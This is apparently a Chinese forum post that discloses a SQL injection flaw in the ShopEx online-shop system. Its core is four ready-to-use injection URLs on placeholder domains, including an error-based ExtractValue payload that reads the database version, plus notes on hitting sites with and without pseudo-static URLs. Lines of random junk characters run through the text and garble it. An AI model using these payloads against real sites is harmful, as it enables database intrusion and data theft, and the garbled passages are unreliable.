注入漏洞是一种经典的漏洞类型了,自从上次跟基友深聊了注入,我对注入的认识又提升了一个高度,在我看来不可以注入的地方,TMD的竟然可以注入,注入攻击最早出现了1998年,貌似是,记不清了。10多年了,依然存在,虽然比以前出现量少了,但不得不用到的一种攻击技术… ; | |! ~! G% ?1 I$ R5 P
1 F, X1 j* Z e5 B2 \
好吧,我扯远了~~
- _9 _1 z/ q) a4 B其实注入不仅仅出现在动态页面上,难道伪静态后就不能注入了吗?NO~% g/ l: p% V$ T r! O; K: R/ ^
不扯了,直接说主题吧,shopex网店系统注入漏洞。注入点如下: 5 Z% C/ N; z: a- H+ t
8 a5 r1 |. `' u+ C7 ihttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html 3 x* H. g# N T
2 C1 x& W2 I+ Z- \8 }http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html
5 I; A! w$ w# u, v0 l
) x, V; L, i1 a8 l6 x8 Ghttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html ! i6 a6 o* o4 @1 \) N% A
: I, A q4 |& ~& i) Y v, Z
http://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html 7 X2 O2 \0 L; W7 J+ ]3 ?, k
2 |- Z3 W9 o' v9 _+ \( S $ O3 B# `7 F* C2 \# o+ L. W6 o
一个是网站未开启伪静态的注入,一个是网站开启伪静态后的注入,以及是否屏蔽错误回显的2X2=4种情况。
0 |* `! e- c9 L4 V% t如何注入就不多说了,10多年的东西了…不会也会了…
M4 g) e5 N$ M5 C4 H3 h8 _
0 d L5 o4 n7 W# s& _. k
; T2 B. N- c' L/ p& O0 n8 `0 e, m& s8 @2 k9 @# K6 R& ?( i# t
0 t: q' h) c1 K3 ~, a+ a# H |